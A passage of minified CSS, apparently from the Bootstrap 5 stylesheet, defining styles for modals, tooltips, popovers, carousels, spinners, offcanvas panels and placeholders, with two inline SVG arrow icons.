2)}.modal-content{position:relative;display:flex;flex-direction:column;width:100%;color:var(--bs-modal-color);pointer-events:auto;background-color:var(--bs-modal-bg);background-clip:padding-box;border:var(--bs-modal-border-width) solid var(--bs-modal-border-color);border-radius:var(--bs-modal-border-radius);outline:0}.modal-backdrop{--bs-backdrop-zindex:1050;--bs-backdrop-bg:#000;--bs-backdrop-opacity:0.5;position:fixed;top:0;left:0;z-index:var(--bs-backdrop-zindex);width:100vw;height:100vh;background-color:var(--bs-backdrop-bg)}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:var(--bs-backdrop-opacity)}.modal-header{display:flex;flex-shrink:0;align-items:center;justify-content:space-between;padding:var(--bs-modal-header-padding);border-bottom:var(--bs-modal-header-border-width) solid var(--bs-modal-header-border-color);border-top-left-radius:var(--bs-modal-inner-border-radius);border-top-right-radius:var(--bs-modal-inner-border-radius)}.modal-header .btn-close{padding:calc(var(--bs-modal-header-padding-y) * .5) calc(var(--bs-modal-header-padding-x) * .5);margin:calc(-.5 * var(--bs-modal-header-padding-y)) calc(-.5 * var(--bs-modal-header-padding-x)) calc(-.5 * var(--bs-modal-header-padding-y)) auto}.modal-title{margin-bottom:0;line-height:var(--bs-modal-title-line-height)}.modal-body{position:relative;flex:1 1 auto;padding:var(--bs-modal-padding)}.modal-footer{display:flex;flex-shrink:0;flex-wrap:wrap;align-items:center;justify-content:flex-end;padding:calc(var(--bs-modal-padding) - var(--bs-modal-footer-gap) * .5);background-color:var(--bs-modal-footer-bg);border-top:var(--bs-modal-footer-border-width) solid var(--bs-modal-footer-border-color);border-bottom-right-radius:var(--bs-modal-inner-border-radius);border-bottom-left-radius:var(--bs-modal-inner-border-radius)}.modal-footer>*{margin:calc(var(--bs-modal-footer-gap) * .5)}@media (min-width:576px){.modal{--bs-modal-margin:1.75rem;--bs-modal-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15)}.modal-dialog{max-width:var(--bs-modal-width);margin-right:auto;margin-left:auto}.modal-sm{--bs-modal-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{--bs-modal-width:800px}}@media (min-width:1200px){.modal-xl{--bs-modal-width:1140px}}.modal-fullscreen{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen .modal-footer,.modal-fullscreen .modal-header{border-radius:0}.modal-fullscreen .modal-body{overflow-y:auto}@media (max-width:575.98px){.modal-fullscreen-sm-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-sm-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-sm-down .modal-footer,.modal-fullscreen-sm-down .modal-header{border-radius:0}.modal-fullscreen-sm-down .modal-body{overflow-y:auto}}@media (max-width:767.98px){.modal-fullscreen-md-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-md-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-md-down .modal-footer,.modal-fullscreen-md-down .modal-header{border-radius:0}.modal-fullscreen-md-down .modal-body{overflow-y:auto}}@media (max-width:991.98px){.modal-fullscreen-lg-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-lg-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-lg-down .modal-footer,.modal-fullscreen-lg-down .modal-header{border-radius:0}.modal-fullscreen-lg-down .modal-body{overflow-y:auto}}@media (max-width:1199.98px){.modal-fullscreen-xl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xl-down .modal-footer,.modal-fullscreen-xl-down .modal-header{border-radius:0}.modal-fullscreen-xl-down .modal-body{overflow-y:auto}}@media (max-width:1399.98px){.modal-fullscreen-xxl-down{width:100vw;max-width:none;height:100%;margin:0}.modal-fullscreen-xxl-down .modal-content{height:100%;border:0;border-radius:0}.modal-fullscreen-xxl-down .modal-footer,.modal-fullscreen-xxl-down .modal-header{border-radius:0}.modal-fullscreen-xxl-down .modal-body{overflow-y:auto}}.tooltip{--bs-tooltip-zindex:1080;--bs-tooltip-max-width:200px;--bs-tooltip-padding-x:0.5rem;--bs-tooltip-padding-y:0.25rem;--bs-tooltip-margin: ;--bs-tooltip-font-size:0.875rem;--bs-tooltip-color:#fff;--bs-tooltip-bg:#000;--bs-tooltip-border-radius:0.375rem;--bs-tooltip-opacity:0.9;--bs-tooltip-arrow-width:0.8rem;--bs-tooltip-arrow-height:0.4rem;z-index:var(--bs-tooltip-zindex);display:block;padding:var(--bs-tooltip-arrow-height);margin:var(--bs-tooltip-margin);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-tooltip-font-size);word-wrap:break-word;opacity:0}.tooltip.show{opacity:var(--bs-tooltip-opacity)}.tooltip .tooltip-arrow{display:block;width:var(--bs-tooltip-arrow-width);height:var(--bs-tooltip-arrow-height)}.tooltip .tooltip-arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow,.bs-tooltip-top .tooltip-arrow{bottom:0}.bs-tooltip-auto[data-popper-placement^=top] .tooltip-arrow::before,.bs-tooltip-top .tooltip-arrow::before{top:-1px;border-width:var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0;border-top-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow,.bs-tooltip-end .tooltip-arrow{left:0;width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-auto[data-popper-placement^=right] .tooltip-arrow::before,.bs-tooltip-end .tooltip-arrow::before{right:-1px;border-width:calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height) calc(var(--bs-tooltip-arrow-width) * .5) 0;border-right-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow,.bs-tooltip-bottom .tooltip-arrow{top:0}.bs-tooltip-auto[data-popper-placement^=bottom] .tooltip-arrow::before,.bs-tooltip-bottom .tooltip-arrow::before{bottom:-1px;border-width:0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height);border-bottom-color:var(--bs-tooltip-bg)}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow,.bs-tooltip-start .tooltip-arrow{right:0;width:var(--bs-tooltip-arrow-height);height:var(--bs-tooltip-arrow-width)}.bs-tooltip-auto[data-popper-placement^=left] .tooltip-arrow::before,.bs-tooltip-start .tooltip-arrow::before{left:-1px;border-width:calc(var(--bs-tooltip-arrow-width) * .5) 0 calc(var(--bs-tooltip-arrow-width) * .5) var(--bs-tooltip-arrow-height);border-left-color:var(--bs-tooltip-bg)}.tooltip-inner{max-width:var(--bs-tooltip-max-width);padding:var(--bs-tooltip-padding-y) var(--bs-tooltip-padding-x);color:var(--bs-tooltip-color);text-align:center;background-color:var(--bs-tooltip-bg);border-radius:var(--bs-tooltip-border-radius)}.popover{--bs-popover-zindex:1070;--bs-popover-max-width:276px;--bs-popover-font-size:0.875rem;--bs-popover-bg:#fff;--bs-popover-border-width:1px;--bs-popover-border-color:var(--bs-border-color-translucent);--bs-popover-border-radius:0.5rem;--bs-popover-inner-border-radius:calc(0.5rem - 1px);--bs-popover-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-popover-header-padding-x:1rem;--bs-popover-header-padding-y:0.5rem;--bs-popover-header-font-size:1rem;--bs-popover-header-color: ;--bs-popover-header-bg:#f0f0f0;--bs-popover-body-padding-x:1rem;--bs-popover-body-padding-y:1rem;--bs-popover-body-color:#212529;--bs-popover-arrow-width:1rem;--bs-popover-arrow-height:0.5rem;--bs-popover-arrow-border:var(--bs-popover-border-color);z-index:var(--bs-popover-zindex);display:block;max-width:var(--bs-popover-max-width);font-family:var(--bs-font-sans-serif);font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;white-space:normal;word-spacing:normal;line-break:auto;font-size:var(--bs-popover-font-size);word-wrap:break-word;background-color:var(--bs-popover-bg);background-clip:padding-box;border:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-radius:var(--bs-popover-border-radius)}.popover .popover-arrow{display:block;width:var(--bs-popover-arrow-width);height:var(--bs-popover-arrow-height)}.popover .popover-arrow::after,.popover .popover-arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid;border-width:0}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow,.bs-popover-top>.popover-arrow{bottom:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width))}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::after,.bs-popover-top>.popover-arrow::before{border-width:var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::before,.bs-popover-top>.popover-arrow::before{bottom:0;border-top-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=top]>.popover-arrow::after,.bs-popover-top>.popover-arrow::after{bottom:var(--bs-popover-border-width);border-top-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow,.bs-popover-end>.popover-arrow{left:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::after,.bs-popover-end>.popover-arrow::before{border-width:calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height) calc(var(--bs-popover-arrow-width) * .5) 0}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::before,.bs-popover-end>.popover-arrow::before{left:0;border-right-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=right]>.popover-arrow::after,.bs-popover-end>.popover-arrow::after{left:var(--bs-popover-border-width);border-right-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow,.bs-popover-bottom>.popover-arrow{top:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width))}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::before{border-width:0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::before,.bs-popover-bottom>.popover-arrow::before{top:0;border-bottom-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=bottom]>.popover-arrow::after,.bs-popover-bottom>.popover-arrow::after{top:var(--bs-popover-border-width);border-bottom-color:var(--bs-popover-bg)}.bs-popover-auto[data-popper-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:var(--bs-popover-arrow-width);margin-left:calc(-.5 * var(--bs-popover-arrow-width));content:"";border-bottom:var(--bs-popover-border-width) solid var(--bs-popover-header-bg)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow,.bs-popover-start>.popover-arrow{right:calc(-1 * (var(--bs-popover-arrow-height)) - var(--bs-popover-border-width));width:var(--bs-popover-arrow-height);height:var(--bs-popover-arrow-width)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::after,.bs-popover-start>.popover-arrow::before{border-width:calc(var(--bs-popover-arrow-width) * .5) 0 calc(var(--bs-popover-arrow-width) * .5) var(--bs-popover-arrow-height)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::before,.bs-popover-start>.popover-arrow::before{right:0;border-left-color:var(--bs-popover-arrow-border)}.bs-popover-auto[data-popper-placement^=left]>.popover-arrow::after,.bs-popover-start>.popover-arrow::after{right:var(--bs-popover-border-width);border-left-color:var(--bs-popover-bg)}.popover-header{padding:var(--bs-popover-header-padding-y) var(--bs-popover-header-padding-x);margin-bottom:0;font-size:var(--bs-popover-header-font-size);color:var(--bs-popover-header-color);background-color:var(--bs-popover-header-bg);border-bottom:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-top-left-radius:var(--bs-popover-inner-border-radius);border-top-right-radius:var(--bs-popover-inner-border-radius)}.popover-header:empty{display:none}.popover-body{padding:var(--bs-popover-body-padding-y) var(--bs-popover-body-padding-x);color:var(--bs-popover-body-color)}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-end,.carousel-item-next:not(.carousel-item-start){transform:translateX(100%)}.active.carousel-item-start,.carousel-item-prev:not(.carousel-item-end){transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;transform:none}.carousel-fade .carousel-item-next.carousel-item-start,.carousel-fade .carousel-item-prev.carousel-item-end,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:flex;align-items:center;justify-content:center;width:15%;padding:0;color:#fff;text-align:center;background:0 0;border:0;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:2rem;height:2rem;background-repeat:no-repeat;background-position:50%;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M11.354 1.646a.5.5 0 0 1 0 .708L5.707 8l5.647 5.646a.5.5 0 0 1-.708.708l-6-6a.5.5 0 0 1 0-.708l6-6a.5.5 0 0 1 .708 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:2;display:flex;justify-content:center;padding:0;margin-right:15%;margin-bottom:1rem;margin-left:15%;list-style:none}.carousel-indicators [data-bs-target]{box-sizing:content-box;flex:0 1 auto;width:30px;height:3px;padding:0;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border:0;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators [data-bs-target]{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:1.25rem;left:15%;padding-top:1.25rem;padding-bottom:1.25rem;color:#fff;text-align:center}.carousel-dark .carousel-control-next-icon,.carousel-dark .carousel-control-prev-icon{filter:invert(1) grayscale(100)}.carousel-dark .carousel-indicators [data-bs-target]{background-color:#000}.carousel-dark .carousel-caption{color:#000}.spinner-border,.spinner-grow{display:inline-block;width:var(--bs-spinner-width);height:var(--bs-spinner-height);vertical-align:var(--bs-spinner-vertical-align);border-radius:50%;animation:var(--bs-spinner-animation-speed) linear infinite var(--bs-spinner-animation-name)}@keyframes spinner-border{to{transform:rotate(360deg)}}.spinner-border{--bs-spinner-width:2rem;--bs-spinner-height:2rem;--bs-spinner-vertical-align:-0.125em;--bs-spinner-border-width:0.25em;--bs-spinner-animation-speed:0.75s;--bs-spinner-animation-name:spinner-border;border:var(--bs-spinner-border-width) solid currentcolor;border-right-color:transparent}.spinner-border-sm{--bs-spinner-width:1rem;--bs-spinner-height:1rem;--bs-spinner-border-width:0.2em}@keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}.spinner-grow{--bs-spinner-width:2rem;--bs-spinner-height:2rem;--bs-spinner-vertical-align:-0.125em;--bs-spinner-animation-speed:0.75s;--bs-spinner-animation-name:spinner-grow;background-color:currentcolor;opacity:0}.spinner-grow-sm{--bs-spinner-width:1rem;--bs-spinner-height:1rem}@media (prefers-reduced-motion:reduce){.spinner-border,.spinner-grow{--bs-spinner-animation-speed:1.5s}}.offcanvas,.offcanvas-lg,.offcanvas-md,.offcanvas-sm,.offcanvas-xl,.offcanvas-xxl{--bs-offcanvas-zindex:1045;--bs-offcanvas-width:400px;--bs-offcanvas-height:30vh;--bs-offcanvas-padding-x:1rem;--bs-offcanvas-padding-y:1rem;--bs-offcanvas-color: ;--bs-offcanvas-bg:#fff;--bs-offcanvas-border-width:1px;--bs-offcanvas-border-color:var(--bs-border-color-translucent);--bs-offcanvas-box-shadow:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075)}@media (max-width:575.98px){.offcanvas-sm{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:575.98px) and (prefers-reduced-motion:reduce){.offcanvas-sm{transition:none}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:575.98px){.offcanvas-sm.show:not(.hiding),.offcanvas-sm.showing{transform:none}}@media (max-width:575.98px){.offcanvas-sm.hiding,.offcanvas-sm.show,.offcanvas-sm.showing{visibility:visible}}@media (min-width:576px){.offcanvas-sm{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-sm .offcanvas-header{display:none}.offcanvas-sm .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:767.98px){.offcanvas-md{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:767.98px) and (prefers-reduced-motion:reduce){.offcanvas-md{transition:none}}@media (max-width:767.98px){.offcanvas-md.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:767.98px){.offcanvas-md.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:767.98px){.offcanvas-md.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:767.98px){.offcanvas-md.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:767.98px){.offcanvas-md.show:not(.hiding),.offcanvas-md.showing{transform:none}}@media (max-width:767.98px){.offcanvas-md.hiding,.offcanvas-md.show,.offcanvas-md.showing{visibility:visible}}@media (min-width:768px){.offcanvas-md{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-md .offcanvas-header{display:none}.offcanvas-md .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:991.98px){.offcanvas-lg{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:991.98px) and (prefers-reduced-motion:reduce){.offcanvas-lg{transition:none}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:991.98px){.offcanvas-lg.show:not(.hiding),.offcanvas-lg.showing{transform:none}}@media (max-width:991.98px){.offcanvas-lg.hiding,.offcanvas-lg.show,.offcanvas-lg.showing{visibility:visible}}@media (min-width:992px){.offcanvas-lg{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-lg .offcanvas-header{display:none}.offcanvas-lg .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:1199.98px){.offcanvas-xl{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:1199.98px) and (prefers-reduced-motion:reduce){.offcanvas-xl{transition:none}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:1199.98px){.offcanvas-xl.show:not(.hiding),.offcanvas-xl.showing{transform:none}}@media (max-width:1199.98px){.offcanvas-xl.hiding,.offcanvas-xl.show,.offcanvas-xl.showing{visibility:visible}}@media (min-width:1200px){.offcanvas-xl{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-xl .offcanvas-header{display:none}.offcanvas-xl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:1399.98px){.offcanvas-xxl{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:1399.98px) and (prefers-reduced-motion:reduce){.offcanvas-xxl{transition:none}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (max-width:1399.98px){.offcanvas-xxl.show:not(.hiding),.offcanvas-xxl.showing{transform:none}}@media (max-width:1399.98px){.offcanvas-xxl.hiding,.offcanvas-xxl.show,.offcanvas-xxl.showing{visibility:visible}}@media (min-width:1400px){.offcanvas-xxl{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-xxl .offcanvas-header{display:none}.offcanvas-xxl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}.offcanvas{position:fixed;bottom:0;z-index:var(--bs-offcanvas-zindex);display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}@media (prefers-reduced-motion:reduce){.offcanvas{transition:none}}.offcanvas.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas.show:not(.hiding),.offcanvas.showing{transform:none}.offcanvas.hiding,.offcanvas.show,.offcanvas.showing{visibility:visible}.offcanvas-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.offcanvas-backdrop.fade{opacity:0}.offcanvas-backdrop.show{opacity:.5}.offcanvas-header{display:flex;align-items:center;justify-content:space-between;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x)}.offcanvas-header .btn-close{padding:calc(var(--bs-offcanvas-padding-y) * .5) calc(var(--bs-offcanvas-padding-x) * .5);margin-top:calc(-.5 * var(--bs-offcanvas-padding-y));margin-right:calc(-.5 * var(--bs-offcanvas-padding-x));margin-bottom:calc(-.5 * var(--bs-offcanvas-padding-y))}.offcanvas-title{margin-bottom:0;line-height:1.5}.offcanvas-body{flex-grow:1;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x);overflow-y:auto}.placeholder{display:inline-block;min-height:1em;vertical-align:middle;cursor:wait;background-color:currentcolor;opacity:.5}.placeholder.btn::before{display:inline-block;content:""}.placeholder-xs{min-height:.6em}.placeholder-sm{min-height:.8em}.placeholder-lg{min-height:1.2em}.placeholder-glow .placeholder{animation:placeholder-glow 2s ease-in-out infinite}@keyframes placeholder-glow{50%{opacity:.2}}.placeholder-wave{-webkit-mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);-webkit-mask-size:200% 100%;mask-size:200% 100%;animation:placeholder-wave 2s linear infinite}@keyframes placeholder-wave{100%{-webkit-mask-position:-200% 0%;mask-position:-200% 